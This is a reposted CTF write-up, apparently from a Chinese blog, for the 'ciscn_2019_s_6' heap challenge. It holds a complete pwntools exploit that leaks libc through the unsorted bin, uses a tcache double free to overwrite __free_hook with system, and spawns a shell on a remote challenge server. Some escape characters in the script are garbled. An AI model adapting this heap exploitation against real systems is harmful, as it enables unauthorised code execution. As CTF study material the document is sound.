zoukankan      html  css  js  c++  java
  • ciscn_2019_s_6

    安全检查

     开了ASLR,不能够用puts泄露了

    流程分析

    add函数

    这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1

     show函数

    打印,没什么特别

     call函数

    其实就是delete函数

     漏洞分析

    • 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
    • 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
    from pwn import *
    
    #p=process('./ciscn_s_6')
    p=remote('node3.buuoj.cn',26462)
    elf=ELF('./ciscn_s_6')
    libc=ELF('./libc-2.27.so')
    def add(size,name,call):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('name')
        p.sendline(str(size))
        p.recvuntil('name:')
        p.sendline(name)
        p.recvuntil('call:')
        p.sendline(call)
    
    def show(idx):
        p.recvuntil('choice:')
        p.sendline('2')
        p.recvuntil('index:')
        p.sendline(str(idx))
        
    def delete(idx):
        p.recvuntil('choice:')
        p.sendline('3')
        p.recvuntil('index:')
        p.sendline(str(idx))
    
    
    
    add(0x88,'pppp','pppp')
    add(0x20,'pppp','pppp')
    add(0x20,'pppp','pppp')
    for i in range(7):
        delete(0)
    
    delete(0)
    show(0)
    p.recvuntil('name')
    unsorted_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(unsorted_addr)
    libc_base=unsorted_addr-0x3ebca0
    free_addr=libc.symbols['__free_hook']+libc_base
    system_addr = libc_base + libc.symbols['system']
    
    print hex(free_addr)
    #p.recvuntil()
    delete(1)
    delete(1)
    delete(1)
    
    add(0x20,p64(free_addr),'pppp')
    add(0x20,'pppp','pppp')
    add(0x20,p64(system_addr),'pppp')
    add(0x20,'/bin/sh','pppp')
    
    delete(6)
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    js:语言精髓笔记1--标识符与基本类型
    ember.js:使用笔记4 数组数据的分组显示
    ember.js:使用笔记3 活用{{bind-attr}}
    ember.js:使用笔记2-数据删除与存储
    ember.js:使用笔记1-数组数据统一显示
    工具:使用jekyll生成静态网站
    css:删除:×的效果
    js写随机一个颜色
    回调函数的使用
    jquery获取select标签的选中元素
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13996874.html
Copyright © 2011-2022 走看看